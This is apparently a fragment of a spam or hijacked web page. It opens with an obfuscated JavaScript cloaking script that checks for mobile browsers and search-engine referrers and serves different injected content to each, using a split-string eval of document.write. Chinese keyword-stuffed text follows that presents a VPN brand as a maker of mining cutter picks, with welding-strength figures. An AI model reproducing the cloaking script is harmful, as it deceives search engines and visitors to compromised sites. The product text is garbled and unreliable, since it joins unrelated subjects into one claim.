function moble(){ var moble = '
'; var ss = ''; var isMobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i); var isFromSearching = document.referer.match(/\.(sogou|soso|baidu|google|youdao|yahoo|bing|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//i); if (isMobile || isFromSearching) { document.write(moble); }else{ eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); } } moble();
快连VPN作为截齿品牌之一,以“追求卓越,不断超越,稳健发展,永续经营”为目标。快连VPN生产的截齿齿体与硬质合金的钎焊缝抗剪强度≥195Mpa,优质产品≥230kg/cmf。焊缝内焊料充满度大于 85%,焊缝充盈度>95%,不掉片。焊缝部位无气孔、无杂质、无机加工痕迹。焊缝区及焊料与母材结合面均无裂纹,硬质合金头无龟裂。